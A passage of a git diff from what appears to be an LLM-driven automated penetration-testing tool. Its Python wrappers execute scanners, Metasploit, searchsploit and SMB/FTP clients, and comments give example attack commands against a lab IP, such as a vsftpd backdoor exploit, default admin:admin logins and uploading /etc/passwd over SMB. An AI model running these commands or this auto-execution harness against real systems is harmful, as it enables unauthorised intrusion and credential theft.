instruction): #curl -v http://192.168.204.137:8180/manager/html --user admin:admin 常规解析curl返回内容 + # result = self.get_info_curl(instruction,stdout,stderr) else: result = self.get_info_curl(instruction,stdout,stderr) return result diff --git a/tools/DirSearchTool.py b/tools/DirSearchTool.py new file mode 100644 index 0000000..fae3539 --- /dev/null +++ b/tools/DirSearchTool.py @@ -0,0 +1,13 @@ +from tools.ToolBase import ToolBase + +class DirSearchTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + if "-o " not in instruction or "--output=" not in instruction: + instruction += " -o ds_result.txt" + return instruction,timeout + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/EchoTool.py b/tools/EchoTool.py index 476d9af..82570fb 100644 --- a/tools/EchoTool.py +++ b/tools/EchoTool.py @@ -4,6 +4,8 @@ class EchoTool(ToolBase): def validate_instruction(self, instruction): #指令过滤 timeout = 0 + if " nc " in instruction: + timeout = 60 return instruction,timeout def analyze_result(self, result,instruction,stderr,stdout): @@ -15,7 +17,7 @@ class EchoTool(ToolBase): pass else: result ="不存在安全问题" - else:#未预处理的情况，暂时不返回LLM + else: pass return result \ No newline at end of file diff --git a/tools/FtpTool.py b/tools/FtpTool.py index f4aff61..3b01a74 100644 --- a/tools/FtpTool.py +++ b/tools/FtpTool.py @@ -49,6 +49,11 @@ class FtpTool(ToolBase): #若有put文件，则替换为payload文件 new_file = "payload/test.txt" new_instr = re.sub(r'(put\s+)\S+', r'\1' + new_file, instruction) + + # # 指令过滤 + # if "<<<" in instruction: + # new_instr = f"bash -c \"{new_instr.strip()}\"" + return new_instr,timeout def do_worker_subprocess(self,str_instruction,timeout,ext_params): @@ -125,23 +130,23 @@ class FtpTool(ToolBase): # 过滤修改后的指令是否需要判重？同样指令再执行结果一致？待定---#？ # 第二步：执行指令---需要对ftp指令进行区分判断 - pattern = re.compile(r'ftp\s+-n\s+\S+(\s+\d+)?\s+<<\s*EOF') - match = pattern.search(instruction) - if bool(match): #如果是 ftp -n 192.168.204.137 <= int(0.1 * wordlist_count): + return False, "字典项中绝大部分路径都匹配成功，应该是应用端做了防护处理" + return True, output + def analyze_result(self, result,instruction,stderr,stdout): #指令结果分析 -q后对结果进行提取 + pattern = re.compile(r'-w\s+(\S+)') + match = pattern.search(instruction) + if match: + wordlist_path = match.group(1) #匹配字典路径 + else: + return ("failure", "No wordlist path found in the command string") + #重新生成个结果，400-5个，401-5个，200所有，其他还不知道有什么结果所有 - result = "" - i_400 = 0 - i_401 = 0 - lines = stdout.splitlines() - for line in lines: - if line: - badd = False - if "200" in line: - badd = True - elif "400" in line: - if i_400 < 5: #400有5个页面就可以了 + if stdout: + bok,result = self.is_false_result(stdout,wordlist_path) + if not bok: + return result + #结果基本合规，再做过滤 + result = "" + i_400 = 0 + i_401 = 0 + lines = [line for line in stdout.splitlines() if line] + for line in lines: + if line: + badd = False + if "200" in line: badd = True - i_400 += 1 - elif "401" in line: - if i_401 < 5: + elif "400" in line: + if i_400 < 5: #400有5个页面就可以了 + badd = True + i_400 += 1 + elif "401" in line: + if i_401 < 5: + badd = True + i_401 += 1 + else: #未知项不太确定,先保留 badd = True - i_401 += 1 - else: #未知项不太确定,先保留 - badd = True - if badd: - result +='\n' - result += line + if badd: + result +='\n' + result += line + else: + return "" return result if __name__ == '__main__': diff --git a/tools/MedusaTool.py b/tools/MedusaTool.py new file mode 100644 index 0000000..dc0f14f --- /dev/null +++ b/tools/MedusaTool.py @@ -0,0 +1,11 @@ +from tools.ToolBase import ToolBase + +class MedusaTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + return instruction,timeout + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/MsfconsoleTool.py b/tools/MsfconsoleTool.py index d0b3cd7..b5960c1 100644 --- a/tools/MsfconsoleTool.py +++ b/tools/MsfconsoleTool.py @@ -25,10 +25,10 @@ class MsfconsoleTool(ToolBase): #针对有分号的指令情况，一般是一行 if ";" in instruction: #举例：msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.204.137; exploit" # 正则表达式匹配双引号内的内容 - pattern = r'"([^"]*)"' + pattern = r'(["\'])(.*?)\1' match = re.search(pattern, instruction) if match: - modified_code = match.group(1) + modified_code = match.group(2) #统一把单行，换成多行内容 modified_code = modified_code.replace(";", "\n") print(modified_code) diff --git a/tools/MsfvenomTool.py b/tools/MsfvenomTool.py new file mode 100644 index 0000000..a0d18fe --- /dev/null +++ b/tools/MsfvenomTool.py @@ -0,0 +1,76 @@ +from tools.ToolBase import ToolBase +import os +import shlex +import subprocess +import tempfile + +class MsfvenomTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + return instruction,timeout + + def do_worker_script(self,str_instruction,timeout,ext_params): + # 创建临时文件保存输出 + with tempfile.NamedTemporaryFile(delete=False) as tmpfile: + output_file = tmpfile.name + + # 使用 shlex.quote 对 str_instruction 进行安全包装，确保整个命令作为一个参数传递 + safe_instr = shlex.quote(str_instruction.strip()) + # 构建 script 命令 + # 注意：此时 safe_instr 包含单引号，确保整个 -c 参数不被拆分 + script_cmd = f"script -q -c {safe_instr} {output_file}" + # 选项 -q 表示静默（quiet），减少不必要的输出 + + # # 构建并执行 script 命令 + # script_cmd = f"script -c '{str_instruction}' {output_file}" + try: + if timeout ==0: + result = subprocess.run(script_cmd, shell=True, text=True) + else: + result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout) + # 读取输出文件内容 + with open(output_file, 'r') as f: + output = f.read() + lines = output.splitlines() + # 跳过第一行（Script started）和最后一行（Script done） + ftp_output = lines[1:-1] + output = '\n'.join(ftp_output) + except subprocess.TimeoutExpired: + output = "命令超时返回" + try: + with open(output_file, 'r') as f: + partial_output = f.read() + if partial_output: + output += f"\n部分输出:\n{partial_output}" + except FileNotFoundError: + pass # 文件可能未创建 + except subprocess.CalledProcessError as e: + output = f"错误: {e}" + finally: + # 删除临时文件 + try: + os.remove(output_file) + except FileNotFoundError: + pass # 文件可能未创建 + return output + + def execute_instruction(self, instruction_old): + ext_params = self.create_extparams() + # 第一步：验证指令合法性 + instruction,time_out = self.validate_instruction(instruction_old) + if not instruction: + return False, instruction_old, "该指令暂不执行！","",ext_params + # 过滤修改后的指令是否需要判重？同样指令再执行结果一致？待定---#？ + + # 第二步：执行指令---需要对ftp指令进行区分判断 + output = self.do_worker_script(instruction, time_out, ext_params) + + # 第三步：分析执行结果 + analysis = self.analyze_result(output,instruction,"","") + + return True, instruction, analysis,output,ext_params + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/NmapTool.py b/tools/NmapTool.py index 5f237d5..45c3a55 100644 --- a/tools/NmapTool.py +++ b/tools/NmapTool.py @@ -9,6 +9,8 @@ class NmapTool(ToolBase): def validate_instruction(self, instruction): #nmap过滤 timeout = 0 + if "&& nc " in instruction or "&& ftp " in instruction: + timeout = 60 return instruction,timeout def parse_nmap_output(self,nmap_output: str) -> Dict[str, Any]: diff --git a/tools/OtherTool.py b/tools/OtherTool.py new file mode 100644 index 0000000..d4dd407 --- /dev/null +++ b/tools/OtherTool.py @@ -0,0 +1,75 @@ +from tools.ToolBase import ToolBase +import re +import os +import shlex +import subprocess +import tempfile + + +class OtherTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 60*2 + return instruction,timeout + + def do_worker_script(self,str_instruction,timeout,ext_params): + # 创建临时文件保存输出 + with tempfile.NamedTemporaryFile(delete=False) as tmpfile: + output_file = tmpfile.name + + # 使用 shlex.quote 对 str_instruction 进行安全包装，确保整个命令作为一个参数传递 + safe_instr = shlex.quote(str_instruction.strip()) + # 构建 script 命令 + # 注意：此时 safe_instr 包含单引号，确保整个 -c 参数不被拆分 + script_cmd = f"script -q -c {safe_instr} {output_file}" + # 选项 -q 表示静默（quiet），减少不必要的输出 + + # # 构建并执行 script 命令 + # script_cmd = f"script -c '{str_instruction}' {output_file}" + try: + result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout) + # 读取输出文件内容 + with open(output_file, 'r') as f: + output = f.read() + lines = output.splitlines() + # 跳过第一行（Script started）和最后一行（Script done） + ftp_output = lines[1:-1] + output = '\n'.join(ftp_output) + except subprocess.TimeoutExpired: + output = "命令超时返回" + try: + with open(output_file, 'r') as f: + partial_output = f.read() + if partial_output: + output += f"\n部分输出:\n{partial_output}" + except FileNotFoundError: + pass # 文件可能未创建 + except subprocess.CalledProcessError as e: + output = f"错误: {e}" + finally: + # 删除临时文件 + try: + os.remove(output_file) + except FileNotFoundError: + pass # 文件可能未创建 + return output + + def execute_instruction(self, instruction_old): + ext_params = self.create_extparams() + # 第一步：验证指令合法性 + instruction,time_out = self.validate_instruction(instruction_old) + if not instruction: + return False, instruction_old, "该指令暂不执行！","",ext_params + # 过滤修改后的指令是否需要判重？同样指令再执行结果一致？待定---#？ + + # 第二步：执行指令---需要对ftp指令进行区分判断 + output = self.do_worker_script(instruction, time_out, ext_params) + + # 第三步：分析执行结果 + analysis = self.analyze_result(output,instruction,"","") + + return True, instruction, analysis,output,ext_params + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/PingTool.py b/tools/PingTool.py new file mode 100644 index 0000000..9234105 --- /dev/null +++ b/tools/PingTool.py @@ -0,0 +1,11 @@ +from tools.ToolBase import ToolBase + +class PingTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + return instruction,timeout + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/PsqlTool.py b/tools/PsqlTool.py index 15107d2..e83690e 100644 --- a/tools/PsqlTool.py +++ b/tools/PsqlTool.py @@ -1,6 +1,5 @@ -import subprocess -import tempfile -import os +import pexpect +import shlex from tools.ToolBase import ToolBase class PsqlTool(ToolBase): @@ -13,42 +12,32 @@ class PsqlTool(ToolBase): #指令结果分析 return result - def do_worker_script(self,str_instruction,timeout,ext_params): - # 创建临时文件保存输出 - with tempfile.NamedTemporaryFile(delete=False) as tmpfile: - output_file = tmpfile.name - - # 构建并执行 script 命令 - script_cmd = f"script -c '{str_instruction}' {output_file}" + def do_worker_pexpect(self,str_instruction,timeout,ext_params): try: - result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout) - # 读取输出文件内容 - with open(output_file, 'r') as f: - output = f.read() - lines = output.splitlines() - # 跳过第一行（Script started）和最后一行（Script done） - ftp_output = lines[1:-1] - output = '\n'.join(ftp_output) - except subprocess.TimeoutExpired: - output = "命令超时返回" - try: - with open(output_file, 'r') as f: - partial_output = f.read() - if partial_output: - output += f"\n部分输出:\n{partial_output}" - except FileNotFoundError: - pass # 文件可能未创建 - except subprocess.CalledProcessError as e: - output = f"错误: {e}" - finally: - # 删除临时文件 - try: - os.remove(output_file) - except FileNotFoundError: - pass # 文件可能未创建 - return output + safe_command = shlex.quote(str_instruction) + cmd = f"bash -c {safe_command}" + exc_do = pexpect.spawn(cmd,timeout=timeout,encoding='utf-8') + index = exc_do.expect([ + pexpect.TIMEOUT, + pexpect.EOF, + 'Password for user postgres:', + '用户 postgres 的口令：' + ]) + #strout = exc_do.before.decode('utf-8', errors='replace') + strout = exc_do.before + if index == 0 or index ==1: + return strout + elif index ==2 or index==3: + strout += '用户 postgres 的口令：' + exc_do.sendline('') #输入空密码后不知道会有多少种情况，密码不对，密码对 + index = exc_do.expect([pexpect.TIMEOUT,pexpect.EOF]) + print(index) + strout += exc_do.before + return strout + except Exception as e: + return f"执行错误: {str(e)}" - def execute_instruction1(self, instruction_old): + def execute_instruction(self, instruction_old): ''' 执行指令：验证合法性 -> 执行 -> 分析结果 *****如果指令要做验证，只做白名单，所有逻辑不是全放开就是白名单***** @@ -70,7 +59,8 @@ class PsqlTool(ToolBase): #过滤修改后的指令是否需要判重？同样指令再执行结果一致？待定---#？ # 第二步：执行指令 - output = self.do_worker_script(instruction,timeout,ext_params) + #output = self.do_worker_script(instruction, timeout, ext_params) + output = self.do_worker_pexpect(instruction,timeout,ext_params) # 第三步：分析执行结果 if isinstance(output,bytes):#若是bytes则转成str diff --git a/tools/PythoncodeTool.py b/tools/PythoncodeTool.py deleted file mode 100644 index e8f4b14..0000000 --- a/tools/PythoncodeTool.py +++ /dev/null @@ -1,153 +0,0 @@ -#python代码动态执行 -import ast -import subprocess -import json -import builtins -import re -import paramiko -import impacket -import psycopg2 -import socket -import struct -import sys -import requests -import ssl -import mysql.connector -from tools.ToolBase import ToolBase -from mycode.Result_merge import my_merge - -class PythoncodeTool(ToolBase): - - def is_safe_code(self,code): - # List of high-risk functions to block (can be adjusted based on requirements) - HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen'] - - """Check if the code contains high-risk function calls.""" - try: - tree = ast.parse(code) - for node in ast.walk(tree): - if isinstance(node, ast.Call): - if isinstance(node.func, ast.Name) and node.func.id in HIGH_RISK_FUNCTIONS: - return False - elif isinstance(node.func, ast.Attribute) and node.func.attr in HIGH_RISK_FUNCTIONS: - return False - return True - except SyntaxError: - return False - - def validate_instruction(self, instruction): - #指令过滤 - timeout = 0 - instr = instruction.replace("python_code ","") - instr = instruction.replace("python-code ", "") - # Safety check - if not self.is_safe_code(instr): - return "", timeout - return instr,timeout - - def safe_import(self,name,*args,**kwargs): - ALLOWED_MODULES = ['subprocess', 'json','re'] - if name not in ALLOWED_MODULES: - raise ImportError(f"Import of '{name}' is not allowed") - return builtins.__import__(name, *args, **kwargs) - - def execute_instruction(self, instruction_old): - ''' - 执行指令：验证合法性 -> 执行 -> 分析结果 - :param instruction_old: - :return: - bool:true-正常返回给大模型，false-结果不返回给大模型 - str:执行的指令 - str:执行指令的结果 - ''' - ext_params = self.create_extparams() - - # 定义允许的内置函数集合 --白名单 - allowed_builtins = { - '__name__': __name__, - '__import__': builtins.__import__, - "abs": abs, - "all": all, - "any": any, - "bool": bool, - "chr": chr, - "dict": dict, - "float": float, - "int": int, - "len": len, - "list": list, - "max": max, - "min": min, - "print": print, - "range": range, - "set": set, - "str": str, - "sum": sum, - "type": type, - 'open':open, - 'Exception':Exception, - # 根据需要可以添加其他安全的内置函数 - } - # 第一步：验证指令合法性 - instruction,time_out = self.validate_instruction(instruction_old) - if not instruction: - return False, instruction_old, "该指令暂不执行！","",ext_params - # 过滤修改后的指令是否需要判重？同样指令再执行结果一致？待定---#？ - - # 第二步：执行指令 - output = "" - try: - # 构造安全的全局命名空间，只包含我们允许的 __builtins__ - # 虽然动态代码中包含了import subprocess,但是还是需要在全局命名空间中添加subprocess这些库 - # 正常情况应该是不需要的，后续再研究 - safe_globals = {"__builtins__": allowed_builtins, - 'subprocess':subprocess, - 'json':json, - 're':re, - 'paramiko':paramiko, - 'impacket':impacket, - 'psycopg2':psycopg2, - 'socket':socket, - 'mysql':mysql, - 'mysql.connector':mysql.connector, - 'struct':struct, - 'sys':sys, - 'requests':requests, - 'ssl':ssl} - safe_locals = {} #不需要预设局部参数 - # 在限制环境中执行代码 - exec(instruction, safe_globals,safe_locals) - # Check if check_samba_vuln is defined - if 'dynamic_fun' not in safe_locals: - analysis = "Function dynamic_fun() is not defined" - ext_params['is_use'] = True - return True,instruction,analysis,analysis,ext_params - # Get the function and call it - dynamic_fun = safe_locals['dynamic_fun'] - status, tmpout = dynamic_fun() #LLM存在status定义错误的情况（执行成功，却返回的是False） #重点要处理 - output = f"status:{status},output:{tmpout}" - except Exception as e: - analysis = f"执行动态代码时出错: {str(e)}" - ext_params['is_use'] = True - return True,instruction,analysis,analysis,ext_params - - - # 第三步：分析执行结果 - analysis = self.analyze_result(output, instruction,"","") - # 指令和结果入数据库 - # ？ - if not analysis: # analysis为“” 不提交LLM - return False, instruction, analysis,"",ext_params - return True, instruction, analysis,"",ext_params - - def analyze_result(self, result,instruction,stderr,stdout): - #指令结果分析 --- 要不要限定一个max_len? - if "enum4linux " in instruction: #存在指令包装成Python代码返回的情况 - result = my_merge("enum4linux",result) - return result - -if __name__ == "__main__": - llm_code = """ - def run_test(): - return 'Penetration test executed successfully!' - """ \ No newline at end of file diff --git a/tools/RpcclientTool.py b/tools/RpcclientTool.py new file mode 100644 index 0000000..dd98a87 --- /dev/null +++ b/tools/RpcclientTool.py @@ -0,0 +1,11 @@ +from tools.ToolBase import ToolBase + +class RpcclientTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + return instruction,timeout + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/SearchsploitTool.py b/tools/SearchsploitTool.py index bc628f1..8dd64ab 100644 --- a/tools/SearchsploitTool.py +++ b/tools/SearchsploitTool.py @@ -7,10 +7,33 @@ import shutil from pathlib import Path class SearchsploitTool(ToolBase): def validate_instruction(self, instruction): + # 获取当前路径 + cur_path = Path(__file__).resolve().parent + payload_dir = cur_path / "../payload" #指令过滤 timeout = 0 - if "-m " in instruction: # 下载利用代码 - timeout = 60 + parts = instruction.split("&&") + if len(parts) ==2: + searchsploit_cmd = parts[0].strip() + python_cmd = parts[1].strip() + # 提取 -m 后面的文件名 + tokens = searchsploit_cmd.split() + if "-m" in tokens: + m_index = tokens.index("-m") + if m_index + 1 < len(tokens): + filename = tokens[m_index + 1] + else: + return instruction,timeout # -m 后面没有东西，直接返回 + else: + return instruction,timeout # 没有-m选项，直接返回 + if self.find_file_in_directory(filename,payload_dir): + return python_cmd,timeout + else: + timeout = 60*2 + return instruction,timeout + else: + if "-m " in instruction: # 下载利用代码 + timeout = 60*2 return instruction,timeout def analyze_result(self, result,instruction,stderr,stdout): @@ -31,6 +54,9 @@ class SearchsploitTool(ToolBase): result = "下载完成" else: result = "下载失败" + elif instruction.startswith("python"): + #针对searchsploit -m 42745.py && python3 42745.py -u http://192.168.204.137 这样的情况searchsploit会先执行掉，剩余python代码 + return result else: #目前只遇到两种searchsploit命令格式： lines = clean_result.split("\n") exploits = [] diff --git a/tools/SmbclientTool.py b/tools/SmbclientTool.py index 8139c27..c4325db 100644 --- a/tools/SmbclientTool.py +++ b/tools/SmbclientTool.py @@ -1,9 +1,12 @@ from tools.ToolBase import ToolBase +import shlex class SmbclientTool(ToolBase): def validate_instruction(self, instruction): #指令过滤 timeout = 0 + instruction = instruction.replace("\\", "\\\\") + #instruction = shlex.quote(instruction) #smbclient \\\\192.168.204.137\\tmp -N -c 'put /etc/passwd test_upload; rm test_upload' 针对这样的指令会出错 return instruction,timeout def analyze_result(self, result,instruction,stderr,stdout): diff --git a/tools/SmbmapTool.py b/tools/SmbmapTool.py new file mode 100644 index 0000000..a2c9fbd --- /dev/null +++ b/tools/SmbmapTool.py @@ -0,0 +1,13 @@ +from tools.ToolBase import ToolBase + +class SmbmapTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + if " grep " not in instruction: + instruction =instruction.strip() + " | grep -E 'READ|WRITE|Disk|path'" + return instruction,timeout + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/SshpassTool.py b/tools/SshpassTool.py new file mode 100644 index 0000000..96d080b --- /dev/null +++ b/tools/SshpassTool.py @@ -0,0 +1,77 @@ +from tools.ToolBase import ToolBase +import os +import shlex +import subprocess +import tempfile + + +class SshpassTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + return instruction,timeout + + def do_worker_script(self,str_instruction,timeout,ext_params): + # 创建临时文件保存输出 + with tempfile.NamedTemporaryFile(delete=False) as tmpfile: + output_file = tmpfile.name + + # 使用 shlex.quote 对 str_instruction 进行安全包装，确保整个命令作为一个参数传递 + safe_instr = shlex.quote(str_instruction.strip()) + # 构建 script 命令 + # 注意：此时 safe_instr 包含单引号，确保整个 -c 参数不被拆分 + script_cmd = f"script -q -c {safe_instr} {output_file}" + # 选项 -q 表示静默（quiet），减少不必要的输出 + + # # 构建并执行 script 命令 + # script_cmd = f"script -c '{str_instruction}' {output_file}" + try: + if timeout ==0: + result = subprocess.run(script_cmd, shell=True, text=True) + else: + result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout) + # 读取输出文件内容 + with open(output_file, 'r') as f: + output = f.read() + lines = output.splitlines() + # 跳过第一行（Script started）和最后一行（Script done） + ftp_output = lines[1:-1] + output = '\n'.join(ftp_output) + except subprocess.TimeoutExpired: + output = "命令超时返回" + try: + with open(output_file, 'r') as f: + partial_output = f.read() + if partial_output: + output += f"\n部分输出:\n{partial_output}" + except FileNotFoundError: + pass # 文件可能未创建 + except subprocess.CalledProcessError as e: + output = f"错误: {e}" + finally: + # 删除临时文件 + try: + os.remove(output_file) + except FileNotFoundError: + pass # 文件可能未创建 + return output + + def execute_instruction(self, instruction_old): + ext_params = self.create_extparams() + # 第一步：验证指令合法性 + instruction,time_out = self.validate_instruction(instruction_old) + if not instruction: + return False, instruction_old, "该指令暂不执行！","",ext_params + # 过滤修改后的指令是否需要判重？同样指令再执行结果一致？待定---#？ + + # 第二步：执行指令---需要对ftp指令进行区分判断 + output = self.do_worker_script(instruction, time_out, ext_params) + + # 第三步：分析执行结果 + analysis = self.analyze_result(output,instruction,"","") + + return True, instruction, analysis,output,ext_params + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/TcpdumpTool.py b/tools/TcpdumpTool.py new file mode 100644 index 0000000..70a2f07 --- /dev/null +++ b/tools/TcpdumpTool.py @@ -0,0 +1,73 @@ +from tools.ToolBase import ToolBase +import os +import shlex +import subprocess +import tempfile + +class TcpdumpTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 60*2 + return instruction,timeout + + def do_worker_script(self,str_instruction,timeout,ext_params): + # 创建临时文件保存输出 + with tempfile.NamedTemporaryFile(delete=False) as tmpfile: + output_file = tmpfile.name + + # 使用 shlex.quote 对 str_instruction 进行安全包装，确保整个命令作为一个参数传递 + safe_instr = shlex.quote(str_instruction.strip()) + # 构建 script 命令 + # 注意：此时 safe_instr 包含单引号，确保整个 -c 参数不被拆分 + script_cmd = f"script -q -c {safe_instr} {output_file}" + # 选项 -q 表示静默（quiet），减少不必要的输出 + + # # 构建并执行 script 命令 + # script_cmd = f"script -c '{str_instruction}' {output_file}" + try: + result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout) + # 读取输出文件内容 + with open(output_file, 'r') as f: + output = f.read() + lines = output.splitlines() + # 跳过第一行（Script started）和最后一行（Script done） + ftp_output = lines[1:-1] + output = '\n'.join(ftp_output) + except subprocess.TimeoutExpired: + output = "命令超时返回" + try: + with open(output_file, 'r') as f: + partial_output = f.read() + if partial_output: + output += f"\n部分输出:\n{partial_output}" + except FileNotFoundError: + pass # 文件可能未创建 + except subprocess.CalledProcessError as e: + output = f"错误: {e}" + finally: + # 删除临时文件 + try: + os.remove(output_file) + except FileNotFoundError: + pass # 文件可能未创建 + return output + + def execute_instruction1(self, instruction_old): + ext_params = self.create_extparams() + # 第一步：验证指令合法性 + instruction,time_out = self.validate_instruction(instruction_old) + if not instruction: + return False, instruction_old, "该指令暂不执行！","",ext_params + # 过滤修改后的指令是否需要判重？同样指令再执行结果一致？待定---#？ + + # 第二步：执行指令---需要对ftp指令进行区分判断 + output = self.do_worker_script(instruction, time_out, ext_params) + + # 第三步：分析执行结果 + analysis = self.analyze_result(output,instruction,"","") + + return True, instruction, analysis,output,ext_params + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/tools/TelnetTool.py b/tools/TelnetTool.py index 38ee3b1..3464cca 100644 --- a/tools/TelnetTool.py +++ b/tools/TelnetTool.py @@ -12,7 +12,7 @@ from tools.ToolBase import ToolBase class TelnetTool(ToolBase): def validate_instruction(self, instruction): #指令过滤 - timeout = 0 + timeout = 60 return instruction,timeout def analyze_result(self, result,instruction,stderr,stdout): @@ -103,12 +103,12 @@ class TelnetTool(ToolBase): ext_params["is_user"] = True return True,instruction,output,output,ext_params host = parts[1] + port = 0 try: port = int(parts[2]) except ValueError: output = "端口转换失败" ext_params["is_user"] = True - return True, instruction, output, output, ext_params if port == 25: output = self.smtp_injection_test(instruction,host,port) else:#其他默认subprocess执行 diff --git a/tools/ToolBase.py b/tools/ToolBase.py index 18f0e61..923565d 100644 --- a/tools/ToolBase.py +++ b/tools/ToolBase.py @@ -10,16 +10,14 @@ import abc import subprocess import argparse import shlex -import sys +import subprocess +import tempfile +import os from myutils.ReturnParams import ReturnParams class ToolBase(abc.ABC): - def __init__(self): - #self.res_type = 0 #补充一个结果类型 0-初始状态,1-有安全问题, - #由于工具类会被多个线程调用，全局变量不能修改，只能读取 - pass - - + def get_time_out(self): + return 60*30 def create_extparams(self): ext_params = ReturnParams() @@ -47,6 +45,9 @@ class ToolBase(abc.ABC): """ if command.strip().startswith("mkdir"): return "" + #额外指令排除:ssh -o 不是输出结果到文件 + if "ssh" in command: + return "" if valid_flags is None: valid_flags = ['-o', '-oN', '-oG', '-output'] @@ -88,6 +89,41 @@ class ToolBase(abc.ABC): print(f"错误: 无权限读取文件 {filename}") return content + def do_worker_script(self,str_instruction,timeout,ext_params): + # 创建临时文件保存输出 + with tempfile.NamedTemporaryFile(delete=False) as tmpfile: + output_file = tmpfile.name + + # 构建并执行 script 命令 + script_cmd = f"script -c '{str_instruction}' {output_file}" + try: + result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout) + # 读取输出文件内容 + with open(output_file, 'r') as f: + output = f.read() + lines = output.splitlines() + # 跳过第一行（Script started）和最后一行（Script done） + ftp_output = lines[1:-1] + output = '\n'.join(ftp_output) + except subprocess.TimeoutExpired: + output = "命令超时返回" + try: + with open(output_file, 'r') as f: + partial_output = f.read() + if partial_output: + output += f"\n部分输出:\n{partial_output}" + except FileNotFoundError: + pass # 文件可能未创建 + except subprocess.CalledProcessError as e: + output = f"错误: {e}" + finally: + # 删除临时文件 + try: + os.remove(output_file) + except FileNotFoundError: + pass # 文件可能未创建 + return output + def execute_instruction(self, instruction_old): ''' 执行指令：验证合法性 -> 执行 -> 分析结果 @@ -131,28 +167,32 @@ class ToolBase(abc.ABC): else: stderr = result.stderr stdout = result.stdout - except subprocess.TimeoutExpired as e: - stdout = e.stdout if e.stdout is not None else "" - stderr = e.stderr if e.stderr is not None else "" + + # 第三步：分析执行结果 + # if result.returncode == 0: # 执行正确 + # output = stdout + if stdout: + output = stdout + else: + if result.returncode ==28: #curl 命令超时 + output = "指令执行超时！" + else: #执行错误只拿错误信息 + output = stderr + if isinstance(output, bytes): # 若是bytes则转成str + output = output.decode('utf-8', errors='ignore') + + analysis = self.analyze_result(output, instruction, stderr, stdout) + if not analysis: # analysis为“” 不提交LLM + ext_params.is_user = True + return True, instruction, analysis, output, ext_params + + except subprocess.TimeoutExpired: ext_params.is_user = True #对于超时的也需要人工进行确认，是否是预期的超时 + return False, instruction, f"执行超时：{str(timeout)}秒", "", ext_params # 执行失败，提交给人工确认指令的正确性 except Exception as e: ext_params.is_user = True return False,instruction,f"执行失败：{str(e)}","",ext_params #执行失败，提交给人工确认指令的正确性 - # 第三步：分析执行结果 - output = stdout - if stderr: - output += stderr - if isinstance(output,bytes):#若是bytes则转成str - output = output.decode('utf-8', errors='ignore') - - analysis = self.analyze_result(output,instruction,stderr,stdout) - - if not analysis: #analysis为“” 不提交LLM - ext_params.is_user = True - #return False,instruction,analysis,output,ext_params -- 单节点后都要提交结果 - return True,instruction, analysis,output,ext_params - @abc.abstractmethod def validate_instruction(self, instruction:str): """指令合法性分析 diff --git a/tools/XvfbrunTool.py b/tools/XvfbrunTool.py new file mode 100644 index 0000000..431e67f --- /dev/null +++ b/tools/XvfbrunTool.py @@ -0,0 +1,11 @@ +from tools.ToolBase import ToolBase + +class XvfbrunTool(ToolBase): + def validate_instruction(self, instruction): + #指令过滤 + timeout = 0 + return instruction,timeout + + def analyze_result(self, result,instruction,stderr,stdout): + #指令结果分析 + return result \ No newline at end of file diff --git a/web/API/__init__.py b/web/API/__init__.py index 2954561..bae8460 100644 --- a/web/API/__init__.py +++ b/web/API/__init__.py @@ -1,4 +1,4 @@ from quart import Blueprint #定义模块 api = Blueprint('api',__name__) -from . import user,task,wsm +from . import user,task,wsm,system diff --git a/web/API/system.py b/web/API/system.py new file mode 100644 index 0000000..90c1078 --- /dev/null +++ b/web/API/system.py @@ -0,0 +1,23 @@ +from . import api +from mycode.DBManager import app_DBM +from myutils.ReManager import mReM +from quart import Quart, render_template, redirect, url_for, request,jsonify + +@api.route('/system/getinfo',methods=['GET']) +async def get_system_info(): + data = app_DBM.getsystem_info() + return jsonify({"local_ip":data[0],"version":data[1]}) + +@api.route('/system/updateip',methods=['POST']) +async def update_local_ip(): + data = await request.get_json() + local_ip = data.get("local_ip") + if mReM.is_valid_ip(local_ip): + bsuccess = app_DBM.update_localip(local_ip) + error = "" + if not bsuccess: + error = "修改IP地址失败！" + else: + bsuccess = False + error = "IP不合法" + return jsonify({"bsuccess":bsuccess,"error":error}) diff --git a/web/API/task.py b/web/API/task.py index f7f0a88..71d64b9 100644 --- a/web/API/task.py +++ b/web/API/task.py @@ -46,6 +46,15 @@ async def over_task(): bsuccess,error = g_TaskM.over_task(task_id) return jsonify({"bsuccess": bsuccess, "error": error}) +@api.route('/task/deltask',methods=['POST']) +async def del_task(): + data = await request.get_json() + task_id = data.get("task_id") + if not task_id: + return jsonify({'error': 'Missing task_id'}), 400 + bsuccess,error = g_TaskM.del_task(task_id) + return jsonify({"bsuccess": bsuccess, "error": error}) + @api.route('/task/getlist',methods=['GET']) async def get_task_list(): @@ 